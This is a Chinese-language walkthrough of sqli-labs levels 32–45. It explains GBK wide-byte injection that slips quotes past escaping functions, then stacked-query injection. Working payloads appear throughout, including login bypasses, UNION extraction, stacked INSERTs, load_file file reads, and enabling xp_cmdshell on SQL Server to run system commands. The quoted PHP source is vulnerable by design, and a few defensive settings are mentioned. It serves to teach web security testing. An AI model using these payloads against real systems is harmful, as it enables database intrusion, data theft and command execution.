宽字节注入
后续的的几关是针对单引号和的过滤,所以我们在这里针对如何突破来进行分析。这几关我们主要使用的方式是宽字节注入,所以我们接下来要讲一下宽子节的基本用法。
宽子节注入的原理是mysql在使用GBK编码的时候,会认为有两个字符为一个汉字,例如%aa%5C就是一个汉字(前一个ascii码大于128才能到汉字的范围)。我们在过滤'
的时候,往往利用的思路是讲'
转换为\'
,转换的函数或者思路后续我们慢慢来分析。
因此我们在此想办法将'
前面的除掉,一般有两种思路:
%df
吃掉,具体的原因是urlencode(\\')=%5C%27
,我们在%5c%27
前面添加%df
,形成%df%5c%27
,而上面提到的mysql在GBK编码方式的时候会有两个字节当做一个汉字,此时%df%5c
就是一个汉字,%27
则作为一个单独的符号在外面,同时也就达到了我们的目的。- 将
\'
中的\
过滤掉,例如可以构造%**%5c%5c%27
的情况,后面的%5c会被前面的%5c给注释掉。这也是bypass的一种方法。
Less-32
理解了宽子节注入,在接下来的测试中我们可以尝试解决一下遇到的问题。
我们刚开始接触,就先从源码理解:
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);
$string = preg_replace('/\'/i', '\\\'', $string);
$string = preg_replace('/\"/', "\\\"", $string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
echo "id:".$_GET['id'];
$id=check_addslashes($_GET['id']);
echo "id1:".$id;
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
echo "sql:".$sql;
echo "</br>";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}
else { echo "Please input the ID as parameter with numeric value";}
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id). "<br>";
?>
preg_quote()需要参数 str
并向其中 每个正则表达式语法中的字符前增加一个反斜线。 这通常用于你有一些运行时字符串 需要作为正则表达式进行匹配的时候。
正则表达式特殊字符有: . + * ? [ ^ ] $ ( ) { } = ! < > | : -
注意 / 不是正则表达式特殊字符。
我们根据之前的源码分析出来\
会被替换为\\\
,'
替换为\'
,"
替换为\"
,然后我们提交了%df%5c%5c,其中的一个\
被替换为了三个,然后在执行sql语句的时候把%df%5c当做了一个汉字,然后后面就剩下\\
了,然后前面的那个就把后面的那个转义了,这样一来后面那个就没有转义的意思了就是一个字符,然后'
就没有被转移,直接被执行了。其中还有一个知识点是查询的时候id=1后面跟上特殊字符不影响查询,如下:
所以最后我们注入成功。
我们直接使用一个%df也是可以的,因为会将单引号替换为\'
,然后%df又和转义符号当做一个汉字,所以单引号就逃逸了。
Less-33
首先我们测试出来,是宽子节注入:
接着我们注出数据库:
http://192.168.252.161/sqli-labs/Less-33/
?id=-1%df%27 union select 1,(select database()),3--+
康康源代码
function check_addslashes($string)
{
$string= addslashes($string);
return $string;
}
if(isset($_GET['id']))
{
$id=check_addslashes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
<?php
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id);
?>
我们看到它接受到id之后,直接添加转义符,addslashes()函数返回在预定义字符之间添加反斜杠的字符串。
预定义的字符是:单引号,双引号,反斜杠
提示:该函数可用于为存储在数据库中的字符串以及数据库查询语句准备字符串。
addslashes()函数和我们在32关实现的功能基本一致的,所以我们依旧可以利用%df进行绕过。
如果我们使用addslashes(),我们需要将mysq_query设置为binary的方式,才能防御次漏洞。
Mysql_query("set character_set_connection=gbk,character_set_result=gbk,character_set_client=binary",$conn);
Less-34
我们尝试向登录页面提交带有单引号的数据,没有报错。
我们可以尝试将'转为utf-16或32,�'
就是%EF%BF%BD%27
这种格式来测试 ,最终绕过登录:
但是我们在burp中直接使用%df%27就可以直接绕过,在浏览器中就不可以,值得后续研究一下:
既然都已经可以登录了那我们就尝试注出数据库
后续操作照旧即可。
我们看一下34关的源码:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
//echo "username before addslashes is :".$uname1 ."<br>";
//echo "Input password before addslashes is : ".$passwd1. "<br>";
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);
//echo "username after addslashes is :".$uname ."<br>";
//echo "Input password after addslashes is : ".$passwd;
// connectivity
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}
echo "Hint: The Username you input is escaped as : ".$uname ."<br>";
echo "Hint: The Password you input is escaped as : ".$passwd ."<br>";
这个mysql_query("SET NAMES gbk")会将客户端改成gbk编码,服务端不收影响,数据库的编码还是默认的,影响的是客户端对数据的查看,对表本身没什么影响。重启之后就会无效,不会改变默认编码。可能这就是我们在burp中操作成功的原因。正因为对数据库没有影响,所以无法识别中文的字符,这样就会导致报错。
Less-35
这一关中,我们尝试了单引号,会报错,双引号也会报错,最后我们测试,是数字型注入,所以直接and1=1完事。
那我们就直接注出数据库:
后续的操作依旧即可。
Less-36
经过我么的测试,最终还是%df%27可以造成注入点
我们接着尝试拿数据库。
同样的%EF%BF%BD%27也是可以。
我们查看一下源码
function check_quotes($string)
{
$string= mysql_real_escape_string($string);
return $string;
}
// take the variables
if(isset($_GET['id']))
{
$id=check_quotes($_GET['id']);
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
print_r(mysql_error());
}
}
else { echo "Please input the ID as parameter with numeric value";}
function strToHex($string)
{
$hex='';
for ($i=0; $i < strlen($string); $i++)
{
$hex .= dechex(ord($string[$i]));
}
return $hex;
}
echo "Hint: The Query String you input is escaped as : ".$id ."<br>";
echo "The Query String you input in Hex becomes : ".strToHex($id);
这一关中使用了mysql_real_escape_string(),这个函数会将如下的字符转义
- x00
- n
- r
- \
- '
- "
- x1
转义成功就会返回被转义的字符串,失败返回false。
由于数据库依然没有设置gbk所以还是可以突破。
在使用mysql_real_escape_string这个函数的时候,如果我们将数据库设置为了gbk那就比较安全。
设置:mysql_set_charset('gbk','$conn')
Less-37
我们经过测试,在抓到数据包的时候,我们在uname后面的参数中追加:%df%27%20or%201=1%23
,最终可以绕过并登录。
尝试爆出数据库:
uname=admin%df%27%20union%20select%201,(select%20database())%23&passwd=admin&submit=Submit
后续操作大家都懂,那我们看看源码这次又有什么不同:
if(isset($_POST['uname']) && isset($_POST['passwd']))
{
$uname1=$_POST['uname'];
$passwd1=$_POST['passwd'];
$uname = mysql_real_escape_string($uname1);
$passwd= mysql_real_escape_string($passwd1);
mysql_query("SET NAMES gbk");
@$sql="SELECT username, password FROM users WHERE username='$uname' and password='$passwd' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo 'Your Login name:'. $row['username'];
echo 'Your Password:' .$row['password'];
}
else
{
print_r(mysql_error());
}
}
echo "Hint: The Username you input is escaped as : ".$uname ."<br>";
echo "Hint: The Password you input is escaped as : ".$passwd ."<br>";
我么看到这里还是使用了mysql_real_escape_string对在黑名单里的字符添加了转义符号,其还是没有将数据库中的编码设置为gbk,所以还是会将导致绕过。
Stacked injection堆叠注入
我们从字面意思也可以了猜测到,应该就是很多条注入语句一起执行,在我们测试中的情况也是如此,在mysql的命令中,其每一条语句后面添加分号;
代表一条语句的结束。那通过我们的分析,是不是可以同时执行多条语,这种就叫做stacked injection。
- 原理介绍
在sql中,分号是用来表示一条语句的结束。如果我们在注入的时候使用分号结束一条语句,然后在后门追加一条新的语句,会一起执行吗?这就是堆叠注入。而union inject也是将两条语句合并在一起,两者之间有什么区别吗?区别就在于union或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入是可以执行任意的语句。
例如
用户输入:
1;DELETE FROM products
服务器端的sql语句为(未对参数过滤的情况下):
select * from products where productid=1;delete from products
当第一条查询语句执行之后,第一条查询,第二条删除表。
- 堆叠注入的局限性
堆叠注入的局限性在于不是每一个环境下都可以执行,会受到API或者数据库引擎不支持的限制,当然也有可能因为权限不足也可能导致攻击者无法修改数据或无法调用一些程序。
经过我们的测试,我们发现,如果我们要进行堆叠注入,我们需要知道一些数据库表的信息,而且还有一个问题是前段没有返回第二条查询语句结果的地方,那我们的注入成功也没有什么意义,不过我们可以执行其他的无回显的语句,所以这里我 们还是要好好研究一下,不过最好我们还是是使用联合注入。
- 各个数据库实例介绍
本节我们从常用的数据库角度出发,介绍几个类型的数据库的相关用法。数据库的基本操作,增删改查。以下列出数据库相关堆叠注入的基本操作。
1.新建一个表select * from users where id=1;create table test like users;
,然后我们查看发现表已经创建。
2.删除表select * from users where id=1;delete table test4 ;
,接着我们查看发现表已经被删除。
3.查询数据select * from users where id=1;select 1,2,3;
,我们可以看到同时返回了两条查询结果。
查询文件内容select * from users where id=1;select load_file('c:/test.txt');
,我们看到同时还查询出了文件中的内容。
4.修改数据select * from users where id=1;insert into users(id,username,password) values(100,'new','new')
;,成功的向用户表中插入了一条数据。
Sql Server数据库
增加数据表
create database testlabs; create table test(id int,username char(8)); use testlabs; select * from test; insert into test(id,username) values(1,'admin'); select * from test; 然后执行我们堆叠注入查询: select * from test where id=1;create table test3(username char(20));insert into test3(username) values("test3");select * from test3;
完成了查询
表也创建了
- 删除数据
select * from test;drop table test3;
,表被成功删除。
- 查询数据
select 1,2,3;select * from test where id=1;
,完成了查询。
- 修改数据
select * from test where id=1;update test set username='test100' where id=1;
sqlserver中最为重要的存储过程的执行
select * from test where id=1;exec master..xp_cmdshell 'ipconfig'
sqlserver开启xp_cmdshell 1、通过SQL语句开启。[推荐此方法,因为在任何版本的SQL SERVER中都可以使用。] 通过查询分析器,选择Master数据库,然后执行以下SQL内容: sp_configure 'show advanced options',1 reconfigure go sp_configure 'xp_cmdshell',1 reconfigure go 以上语用于 客户端对ERP系统无法访问,开启XP_CMDSHELL组件 执行结果: 配置选项 'show advanced options' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。 配置选项 'xp_cmdshell' 已从 0 更改为 1。请运行 RECONFIGURE 语句进行安装。 如需关闭只需将“sp_configure 'xp_cmdshell',1”改为“sp_configure 'xp_cmdshell',0”即可。
执行了语句:
Oracle数据库
- Oracle数据库不能使用堆叠注入,当有两条语句在一行的情况下直接报错。
postgresql数据库
登录: psql -U postgres 如果有密码是123456 创建数据库 create database sqlilabs; 显示数据 \l 使用数据库 \c sqlilabs 创建表 CREATE table test(id INTEGER,username TEXT); 插入数据 insert into test(id,username) values(1,123);
接下来我们就进行堆叠注入的测试:
- 新建一个表
select * from test;create table test2(id DATE);
- 删除表中数据
select * from test;delete from test2;
- 查询数据
select 1,2,3;select * from test;
- 修改数据
select * from test;update test set username='admin' where id=1;
- 新建一个表
Less-38
这一关我们就可以尝试使用堆叠注入来测试。
http://192.168.252.163/sqli-labs/Less-38/
?id=1';insert into users(id,username,password) values(98,"admin98","admin98")--+
我们可以看到执行成功:
数据库中查询,我们可以看到已经成功插入:
我们开分析一下源码:
if(isset($_GET['id']))
{
$id=$_GET['id'];
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{
if ($result = mysqli_store_result($con1))
{
if($row = mysqli_fetch_row($result))
{
printf("Your Username is : %s", $row[1]);
printf("Your Password is : %s", $row[2]);
}
}
if (mysqli_more_results($con1))
{
}
}
else
{
print_r(mysqli_error($con1));
}
mysqli_close($con1);
}
else { echo "Please input the ID as parameter with numeric value";}
mysqli_multi_query() 执行多个针对数据库的查询
mysqli_store_result()返回查询结果集
mysqli_fetch_row()函数从结果集中取得一行,并作为枚举数组返回。
这次因为使用了函数multi_query所以我们可以堆叠注入。
Less-39
我们首先执行语句,这次是数字型注入
http://192.168.252.163/sqli-labs/Less-39/
?id=101;insert into users(id,username,password) values(101,"101","101")%23
然后我们再执行
http://192.168.252.163/sqli-labs/Less-39/
?id=101
我们尝试插入查询(当前数据库)的数据:
http://192.168.252.163/sqli-labs/Less-39/
?id=1;insert into users(id,username,password) values(102,"102",(select database()))%23
查询我们插入的数据。
后续我们需要什么数据直接将这个数据插入,然后有可能将其输出,或者权限够的话直接执行写木马语句。
Less-40
我们发现闭合的方式是id=1')
知道闭合方式之后,我们还是可以插入数据
http://192.168.252.163/sqli-labs/Less-40/?id=2');insert into users(id,username,password) values(123,"Less-40","Less-40")%23
查询是否插入成功:
我们可以看到插入成功。
Less-41
我们判断出来是数字型注入,接着我们尝试插入数据:
http://192.168.252.164/sqli-labs/Less-41/
?id=1;insert into users(id,username,password) values(133,"Less-41","Less-41")%23
后续根据我们的需要进行注入。
Less-42
我们尝试绕过登录,我们尝试了单引号,双引号以及加括号的情况,都没有绕过登录。
我们分析一下源码看其怎么处理我们输入的数据。
function sqllogin($host,$dbuser,$dbpass, $dbname){
// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass, $dbname);
$username = mysqli_real_escape_string($con1, $_POST["login_user"]);
$password = $_POST["login_password"];
// Check connection
if (mysqli_connect_errno($con1))
{
echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
@mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database ######: ");
}
/* execute multi query */
$sql = "SELECT * FROM users WHERE username='$username' and password='$password'";
echo $sql;
if (@mysqli_multi_query($con1, $sql))
{
/* store first result set */
if($result = @mysqli_store_result($con1))
{
if($row = @mysqli_fetch_row($result))
{
if ($row[1])
{
return $row[1];
}
else
{
return 0;
}
}
}
else
{
print_r(mysqli_error($con1));
}
}
else
{
print_r(mysqli_error($con1));
}
}
$login = sqllogin($host,$dbuser,$dbpass, $dbname);
if (!$login== 0)
{
$_SESSION["username"] = $login;
setcookie("Auth", 1, time()+3600); /* expire in 15 Minutes */
header('Location: logged-in.php');
}
else
{
<img src="../images/slap1.jpg">
}
我们可以看到在接受登录参数的时候对用户名进行了转义但是没有对密码进行过滤,我们这次可以尝试在密码处进行堆叠注入。
首先我们在密码后面尝试输入单引号,发现报错
我们进行堆叠注入
login_user=admin&login_password=admin';insert into users(id,username,password) values(155,'Less-42','Less-42')%23&mysubmit=Login
我们看到只有只会显示登录错误,上面的sql命令是我们为了测试自己输出出来的:
这时候我们查看,是否注入成功。
可以看到注入成功。
Less-43
首先我们在密码后面添加单引号,发现报错,我们通过报错发现,这次的格式是')
。
之后我们接着注入,还是和上一次一样,插入数据,没有报错,只有登录失败:
login_user=admin&login_password=admin');insert into users(id,username,password) values(166,"Less-43","Less-43")%23;&mysubmit=Login
查询数据库中的数据,注入成功。
Less-44
这次我们发现,在用户名和密码的地方,使用单双引号都不会报错,我们判断应该是没有报错回显,是盲注,所以我们尝试测试一下单引号进行堆叠注入,成功。
login_user=admin&login_password=admin';insert into users(id,username,password) values(177,"Less-44","Less-44")%23&mysubmit=Login
然后我们尝试登录,成功。
Less-45
这一关,同样是尝试单双引号都没有报错,应该和上一关是一样的,盲注,我们还是测试,最终在格式为')
情况下堆叠注入成功。
login_user=admin&login_password=admin');insert into users(id,username,password) values(245,"Less-45","Less-45")%23&mysubmit=Login&mysubmit=Login